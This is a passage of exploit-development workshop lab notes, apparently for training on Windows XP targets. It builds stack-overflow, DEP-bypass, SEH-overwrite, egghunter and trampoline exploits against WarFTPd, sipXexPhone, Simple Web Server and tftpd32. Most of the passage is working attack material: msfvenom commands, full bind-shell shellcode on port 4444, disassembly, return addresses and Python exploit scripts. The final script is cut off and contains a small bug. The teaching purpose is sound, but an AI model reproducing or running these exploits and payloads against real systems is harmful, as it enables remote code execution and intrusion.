3706 ---------------------------Type This-----------------------------------
3707
3708shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
3709
3710 -----------------------------------------------------------------------
3711
3712
3713 ---------------------------Type This-----------------------------------
3714
3715./msfvenom -p windows/shell/bind_tcp -f python -b '\x00\x0a\x0d\x40'
3716
3717 -----------------------------------------------------------------------
3718
3719
3720
3721
3722###########################################
3723# Lab 1b: Stack Overflows with DEP Bypass #
3724###########################################
3725
3726Reboot your target host and choose the "2nd" option for DEP.
3727
3728 ---------------------------Type This-----------------------------------
3729
3730cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b
3731
3732
3733
3734
3735python warftpd1.py | nc XPSP3-ED-Target-IP 21
3736
3737 At WINDBG prompt
3738 “r†to show registers or “alt+4â€
3739
3740 dd esp
3741
3742 -----------------------------------------------------------------------
3743
3744 ---------------------------Type This-----------------------------------
3745
3746python warftpd2.py | nc XPSP3-ED-Target-IP 21
3747
3748
3749 At WINDBG prompt
3750 “r†to show registers or “alt+4â€
3751 dd esp
3752 -----------------------------------------------------------------------
3753
3754 Eip: 32714131
3755 esp: affd58 (71413471)
3756
3757 Now we need to SSH into the StrategicSec Ubuntu host
3758 ---------------------------Type This-----------------------------------
3759
3760 cd /home/strategicsec/toolz/metasploit/tools/exploit
3761
3762 ruby pattern_offset.rb 32714131
3763 485
3764
3765 ruby pattern_offset.rb 71413471
3766 493
3767
3768
3769
3770
3771
3772
3773
3774
3775cd /home/strategicsec/toolz/metasploit/tools/exploit
3776
3777ruby pattern_offset.rb 32714131
3778
3779cd /home/strategicsec/toolz/metasploit/
3780
3781./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
3782
3783
3784
3785python warftpd3.py | nc XPSP3-ED-Target-IP 21
3786
3787 0:003> dd eip
3788 0:003> dd esp
3789-----------------------------------------------------------------------
3790
3791INT3s - GOOD!!!!!!!
3792
3793---------------------------Type This-----------------------------------
3794
3795
3796python warftpd4.py | nc XPSP3-ED-Target-IP 21
3797
3798nc XPSP3-ED-Target-IP 4444
3799-----------------------------------------------------------------------
3800
3801
3802strategicsec....exploit no workie!!!!
3803
3804
3805Why????????? DEP!!!!!!!!!!!!!
3806
3807
3808
3809
3810Let's look through ole32.dll for the following instructions:
3811
3812mov al,0x1
3813ret 0x4
3814
3815We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
3816
3817
3818---------------------------Type This-----------------------------------
3819
3820./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
3821-----------------------------------------------------------------------
3822
3823[DLLs/xpsp3/ole32.dll]
38240x775ee00e b001c204
38250x775ee00e mov al, 1
38260x775ee010 ret 4
3827
3828
3829Then we need to jump to the LdrpCheckNXCompatibility routine in
3830ntdll.dll that disables DEP.
3831
3832
3833
3834Inside of ntdll.dll we need to find the following instructions:
3835
3836CMP AL,1
3837PUSH 2
3838POP ESI
3839JE ntdll.7
3840
3841---------------------------Type This-----------------------------------
3842
3843
3844./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
3845-----------------------------------------------------------------------
3846
3847[DLLs/xpsp3/ntdll.dll]
38480x7c91cd24 3c016a025e0f84
38490x7c91cd24 cmp al, 1
38500x7c91cd26 push 2
38510x7c91cd28 pop esi
38520x7c91cd29 jz 7
3853
3854
3855This set of instructions makes sure that AL is set to 1, 2 is pushed
3856on the stack then popped into ESI.
3857
3858
3859
3860---------------------------Paste This-----------------------------------
3861
3862
3863dep = "\x0e\xe0\x5e\x77"+\
3864"\xff\xff\xff\xff"+\
3865"\x24\xcd\x91\x7c"+\
3866"\xff\xff\xff\xff"+\
3867"A"*0x54
3868
3869-----------------------------------------------------------------------
3870
3871
3872 #############################
3873 # Start WarFTPd #
3874 # Start WinDBG #
3875 # Press F6 #
3876 # Attach to war-ftpd.exe #
3877 # bp 0x775ee00e #
3878 # g #
3879 #############################
3880
3881
3882---------------------------Type This-----------------------------------
3883
3884
3885python warftpd5.py | nc XPSP3-ED-Target-IP 21
3886
3887-----------------------------------------------------------------------
3888We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
3889
3890 mov al,0x1
3891 ret 0x4
3892
3893
3894
3895
38960:005> g
3897Breakpoint 0 hit
3898eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3899eip=775ee00e esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
3900cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
3901ole32!CSSMappedStream::IsWriteable:
3902775ee00e b001 mov al,1
3903
3904
39050:001> t
3906eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3907eip=775ee010 esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
3908cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
3909ole32!CSSMappedStream::IsWriteable+0x2:
3910775ee010 c20400 ret 4
3911
3912
3913
3914
3915
3916---------------------------------------------------------------------------
3917Ok, so inside of ntdll.dll we need to find the following instructions:
3918
3919 CMP AL,1
3920 PUSH 2
3921 POP ESI
3922 JE ntdll.7
3923
39240:001> t
3925eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3926eip=7c91cd24 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
3927cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
3928ntdll!LdrpCheckNXCompatibility+0x13:
39297c91cd24 3c01 cmp al,1
3930
3931
39320:001> t
3933eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3934eip=7c91cd26 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
3935cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
3936ntdll!LdrpCheckNXCompatibility+0x15:
39377c91cd26 6a02 push 2
3938
3939
39400:001> t
3941eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3942eip=7c91cd28 esp=00affd5c ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
3943cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
3944ntdll!LdrpCheckNXCompatibility+0x17:
39457c91cd28 5e pop esi
3946
3947
39480:001> t
3949eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=00000002 edi=00affe58
3950eip=7c91cd29 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
3951cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
3952ntdll!LdrpCheckNXCompatibility+0x18:
39537c91cd29 0f84df290200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c93f70e) [br=1]
3954
3955
3956---------------------------------------------------------------------------
3957
3958
3959 ---------------------------Type This-----------------------------------
3960
3961python warftpd5.py | nc XPSP3-ED-Target-IP 21
3962
3963nc XPSP3-ED-Target-IP 4444
3964
3965 -----------------------------------------------------------------------
3966
3967##########################
3968# Lab 1c: SEH Overwrites #
3969##########################
3970
3971 #################################################
3972 # On our VictimXP Host (XPSP3-ED-Target-IP) #
3973 # Start sipXexPhone if it isn’t already running #
3974 # Start WinDBG #
3975 # Press “F6†and Attach to sipXexPhone.exe #
3976 # Press “F5†to start the debugger #
3977 #################################################
3978
3979 ---------------------------Type This-----------------------------------
3980
3981cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1c\sipx_complete
3982
3983
3984
3985python sipex0.py XPSP3-ED-Target-IP
3986
3987 0:003> !exchain
3988 0:003> dds esp
3989 0:003> dds
3990
3991python sipex1.py XPSP3-ED-Target-IP
3992
3993 0:003> !exchain
3994 0:003> g
3995
3996 When looking at !exchain you should see that EIP is 41414141, so let’s add more characters.
3997
3998
3999python sipex2.py XPSP3-ED-Target-IP
4000
4001 0:003> !exchain
4002 0:003> g
4003
4004
4005 ***ssh into instructor Ubuntu host***
4006 cd /home/strategicsec/toolz/metasploit/tools/exploit
4007 ruby pattern_offset.rb 41346941 We should see that SEH is at 252
4008
4009
4010
4011 !load narly
4012 !nmod
4013
4014 ***ssh into the Ubuntu host***
4015 ls /home/strategicsec/toolz/metasploit/DLLs/xpsp3/sipXDLLs/
4016 cd /home/strategicsec/toolz/metasploit/
4017 ./msfpescan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll
4018
4019 -----------------------------------------------------------------------
4020
4021 #####################################
4022 # sipex3.py in Notepad++. #
4023 # Set cseq = 252 #
4024 # Set seh2 address to: 0x10015977 #
4025 #####################################
4026
4027---------------------------Type This-----------------------------------
4028
4029python sipex3.py XPSP3-ED-Target-IP
4030 0:003> !exchain
4031
4032python sipex4.py XPSP3-ED-Target-IP
4033
4034
4035
4036nc XPSP3-ED-Target-IP 4444
4037
4038 -----------------------------------------------------------------------
4039
4040
4041
4042
4043Brush up on the basics of Structured Exception Handlers:
4044http://www.securitytube.net/video/1406
4045http://www.securitytube.net/video/1407
4046http://www.securitytube.net/video/1408
4047
4048
4049
4050
4051
4052
4053########################################
4054# Lab 2a: Not Enough Space (Egghunter) #
4055########################################
4056
4057---------------------------Type This-----------------------------------
4058
4059cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\sws_skeleton
4060-----------------------------------------------------------------------
4061
4062SWS - SIMPLE WEB SERVER
4063-----------------------
4064
4065Running SWS on Strategicsec-XP-ED-Target-VM
4066Start > Programs > Simple Web Server (it's in the middle somewhere)
4067Red icon in system tray
4068Double click it
4069- it will pop up a menu
4070- select "start"
4071- dialog box shows starting params - port 82
4072
4073WinDBG
4074- attach to "server.exe"
4075
4076---------------------------Type This-----------------------------------
4077
4078python sws1.py | nc XPSP3-ED-Target-IP 82
4079
4080
4081
4082python sws2.py | nc XPSP3-ED-Target-IP 82
4083
4084
4085SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
4086cd /home/strategicsec/toolz/metasploit/tools/exploit
4087ruby pattern_offset.rb 41356841 <------- You should see that EIP is at 225
4088ruby pattern_offset.rb 68413668 <------- You should see that ESP is at 229
4089
4090
4091-----------------------------------------------------------------------
4092
4093
4094
4095
4096
4097
4098EGGHUNTER:
4099----------
4100
4101"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
4102"\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
4103 ^^^^^^^^^^^^^^^^
4104 ABBA
4105 JMP ESP
4106 /
4107 /
4108GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
4109User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
4110
4111
4112
4113
4114-----sws3.py-----
4115#!/usr/bin/python2
4116
4117import os # for output setting
4118import sys
4119import struct # for pack function
4120
4121# turn off output buffer and set binary mode
4122sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0)
4123
4124
4125pad = "A" * 225 # distance to EIP
4126eip = 0x7e429353 # replace EIP to point to "jmp esp" from user32.dll
4127
4128egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
4129egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
4130
4131shellcode = "\xCC" * 700
4132
4133buf = "GET /"
4134buf += pad + struct.pack('<I', eip) + egghunter
4135buf += " HTTP/1.0\r\n"
4136buf += "User-Agent: ABBAABBA"
4137buf += shellcode
4138buf += " HTTP/1.0\r\n"
4139
4140sys.stdout.write(buf)
4141-----
4142
4143
4144
4145############################################
4146# Lab 2b: Not Enough Space (Negative Jump) #
4147############################################
4148---------------------------Type This-----------------------------------
4149
4150cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\modjk_skeleton
4151-----------------------------------------------------------------------
4152
4153
4154[pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
4155
4156 ^
41571 ----------------------1 overflow the buffer---------------------------|
4158
4159 ^ ^
4160 |
4161 2 ----jump over seh record---|
4162
4163 ^ ^
4164 |
4165 3--POP 2 words off stack---|
4166
4167 ^
41684 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
4169
4170
4171#########################################
4172# Lab 2c: Not Enough Space (Trampoline) #
4173#########################################
4174
4175cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
4176On the Strategicsec-XP-ED-Target-VM VM
4177
4178- open a command prompt
4179- c:\software\tftpd32
4180- run tftpd32.exe
4181- UDP port 69
4182(socket code is already in the scripts)
4183
4184
4185
4186
4187On your attack host please install:
4188
4189
4190 NASM - Netwide Assembler
4191
4192
4193
4194
4195
4196-----------------------------------------------------------------------------------------------------------------
4197
4198
4199We want to generate the shellcode (BIND SHELL on Port 4444)
4200- No restricted characters
4201- Encoder: NONE
4202
4203Create a Python file called dumpshellcode.py
4204
4205---
4206#!/usr/bin/python2
4207
4208import os
4209import sys
4210import struct
4211
4212
4213# win32_bind - EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
4214shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
4215shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
4216shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
4217shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
4218shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
4219shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
4220shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
4221shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
4222shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
4223shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
4224shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
4225shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
4226shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
4227shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
4228shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
4229shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
4230shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
4231shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
4232shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
4233shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
4234
4235sys.stdout.write(shellcode)
4236---
4237
4238---------------------------Type This-----------------------------------
4239
4240
4241python dumpshell.py > bindshell.bin
4242
4243copy bindshellcode.bin into the "c:\Program Files\nasm" directory
4244-----------------------------------------------------------------------
4245
4246
4247
4248Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
4249317 bindshell.bin
4250---------------------------Type This-----------------------------------
4251
4252C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
4253-----------------------------------------------------------------------
4254
425500000000 FC cld
425600000001 6AEB push byte -0x15
425700000003 4D dec ebp
425800000004 E8F9FFFFFF call dword 0x2
425900000009 60 pushad
42600000000A 8B6C2424 mov ebp,[esp+0x24]
42610000000E 8B453C mov eax,[ebp+0x3c]
426200000011 8B7C0578 mov edi,[ebp+eax+0x78]
426300000015 01EF add edi,ebp
426400000017 8B4F18 mov ecx,[edi+0x18]
42650000001A 8B5F20 mov ebx,[edi+0x20]
42660000001D 01EB add ebx,ebp
42670000001F 49 dec ecx
426800000020 8B348B mov esi,[ebx+ecx*4]
426900000023 01EE add esi,ebp
427000000025 31C0 xor eax,eax
427100000027 99 cdq
427200000028 AC lodsb
427300000029 84C0 test al,al
42740000002B 7407 jz 0x34
42750000002D C1CA0D ror edx,0xd
427600000030 01C2 add edx,eax
427700000032 EBF4 jmp short 0x28
427800000034 3B542428 cmp edx,[esp+0x28]
427900000038 75E5 jnz 0x1f
42800000003A 8B5F24 mov ebx,[edi+0x24]
42810000003D 01EB add ebx,ebp
42820000003F 668B0C4B mov cx,[ebx+ecx*2]
428300000043 8B5F1C mov ebx,[edi+0x1c]
428400000046 01EB add ebx,ebp
428500000048 032C8B add ebp,[ebx+ecx*4]
42860000004B 896C241C mov [esp+0x1c],ebp
42870000004F 61 popad
428800000050 C3 ret
428900000051 31DB xor ebx,ebx
429000000053 648B4330 mov eax,[fs:ebx+0x30]
429100000057 8B400C mov eax,[eax+0xc]
42920000005A 8B701C mov esi,[eax+0x1c]
42930000005D AD lodsd
42940000005E 8B4008 mov eax,[eax+0x8]
429500000061 5E pop esi
429600000062 688E4E0EEC push dword 0xec0e4e8e
429700000067 50 push eax
429800000068 FFD6 call esi
42990000006A 6653 push bx
43000000006C 66683332 push word 0x3233
430100000070 687773325F push dword 0x5f327377
430200000075 54 push esp
430300000076 FFD0 call eax
430400000078 68CBEDFC3B push dword 0x3bfcedcb
43050000007D 50 push eax
43060000007E FFD6 call esi PART 1
430700000080 5F pop edi
430800000081 89E5 mov ebp,esp
430900000083 6681ED0802 sub bp,0x208
431000000088 55 push ebp
431100000089 6A02 push byte +0x2
43120000008B FFD0 call eax
43130000008D 68D909F5AD push dword 0xadf509d9
431400000092 57 push edi
431500000093 FFD6 call esi
431600000095 53 push ebx
431700000096 53 push ebx
4318--------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
431900000097 53 push ebx
432000000098 53 push ebx
432100000099 53 push ebx
43220000009A 43 inc ebx
43230000009B 53 push ebx
43240000009C 43 inc ebx
43250000009D 53 push ebx PART 2
43260000009E FFD0 call eax
4327000000A0 6668115C push word 0x5c11
4328000000A4 6653 push bx
4329000000A6 89E1 mov ecx,esp
4330000000A8 95 xchg eax,ebp
4331000000A9 68A41A70C7 push dword 0xc7701aa4
4332000000AE 57 push edi
4333000000AF FFD6 call esi
4334000000B1 6A10 push byte +0x10
4335000000B3 51 push ecx
4336000000B4 55 push ebp
4337000000B5 FFD0 call eax
4338000000B7 68A4AD2EE9 push dword 0xe92eada4
4339000000BC 57 push edi
4340000000BD FFD6 call esi
4341000000BF 53 push ebx
4342000000C0 55 push ebp
4343000000C1 FFD0 call eax
4344000000C3 68E5498649 push dword 0x498649e5
4345000000C8 57 push edi
4346000000C9 FFD6 call esi
4347000000CB 50 push eax
4348000000CC 54 push esp
4349000000CD 54 push esp
4350000000CE 55 push ebp
4351000000CF FFD0 call eax
4352000000D1 93 xchg eax,ebx
4353000000D2 68E779C679 push dword 0x79c679e7
4354000000D7 57 push edi
4355000000D8 FFD6 call esi
4356000000DA 55 push ebp
4357000000DB FFD0 call eax
4358000000DD 666A64 push word 0x64
4359000000E0 6668636D push word 0x6d63
4360000000E4 89E5 mov ebp,esp
4361000000E6 6A50 push byte +0x50
4362000000E8 59 pop ecx
4363000000E9 29CC sub esp,ecx
4364000000EB 89E7 mov edi,esp
4365000000ED 6A44 push byte +0x44
4366000000EF 89E2 mov edx,esp
4367000000F1 31C0 xor eax,eax
4368000000F3 F3AA rep stosb
4369000000F5 FE422D inc byte [edx+0x2d]
4370000000F8 FE422C inc byte [edx+0x2c]
4371000000FB 93 xchg eax,ebx
4372000000FC 8D7A38 lea edi,[edx+0x38]
4373000000FF AB stosd
437400000100 AB stosd
437500000101 AB stosd
437600000102 6872FEB316 push dword 0x16b3fe72
437700000107 FF7544 push dword [ebp+0x44]
43780000010A FFD6 call esi
43790000010C 5B pop ebx
43800000010D 57 push edi
43810000010E 52 push edx
43820000010F 51 push ecx
438300000110 51 push ecx
438400000111 51 push ecx
438500000112 6A01 push byte +0x1
438600000114 51 push ecx
438700000115 51 push ecx
438800000116 55 push ebp
438900000117 51 push ecx
439000000118 FFD0 call eax
43910000011A 68ADD905CE push dword 0xce05d9ad
43920000011F 53 push ebx
439300000120 FFD6 call esi
439400000122 6AFF push byte -0x1
439500000124 FF37 push dword [edi]
439600000126 FFD0 call eax
439700000128 8B57FC mov edx,[edi-0x4]
43980000012B 83C464 add esp,byte +0x64
43990000012E FFD6 call esi
440000000130 52 push edx
440100000131 FFD0 call eax
440200000133 68F08A045F push dword 0x5f048af0
440300000138 53 push ebx
440400000139 FFD6 call esi
44050000013B FFD0 call eax
4406
4407
4408
4409
4410part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
4411part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
4412part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
4413part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
4414part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
4415part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
4416part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
4417part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
4418part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
4419part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
4420
4421
4422part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
4423part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
4424part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
4425part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
4426part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
4427part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
4428part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
4429part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
4430part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
4431part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
4432part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
4433
4434
4435STACK SHIFTER:
4436prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
4437prepend += "\x44" # inc esp
4438
4439
4440
4441
4442
4443
4444
4445
4446
4447
4448
4449
4450
4451
4452---- final script ----
4453
4454#!/usr/bin/python2
4455#TFTP Server remote Buffer Overflow
4456
4457import sys
4458import socket
4459import struct
4460
4461if len(sys.argv) < 2:
4462 sys.stderr.write("Usage: tftpd.py <host>\n")
4463 sys.exit(1)
4464
4465target = sys.argv[1]
4466port = 69
4467
4468eip = 0x7e429353 # jmp esp in USER32.DLL
4469
4470part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
4471part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
4472part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
4473part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
4474part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
4475part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
4476part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
4477part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
4478part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
4479part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
4480
4481part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
4482part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
4483part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
4484part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
4485part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
4486part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
4487part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
4488part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
4489part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
4490part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
4491part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
4492
4493prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
4494prepend += "\x44" # inc esp
4495
4496buf = "\x00\x01" # receive command
4497
4498buf += "\x90" * (256 - len(part2)) # NOPs
4499buf += part2 # shellcode part 2
4500buf += struct.pack('<I', eip) # EIP (JMP ESP)
4501buf += prepend # stack shifter
4502buf += part1 # shellcode part 1
4503buf += "\xE9" + struct.pack('<i', -380) # JMP -380
4504buf += "\x00" # END
4505
4506# print buf
4507
4508# buf = "\x00\x01" # receive command
4509
4510# buf += "A" * 300 + "\x00"
4511
4512sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
4513
4514try:
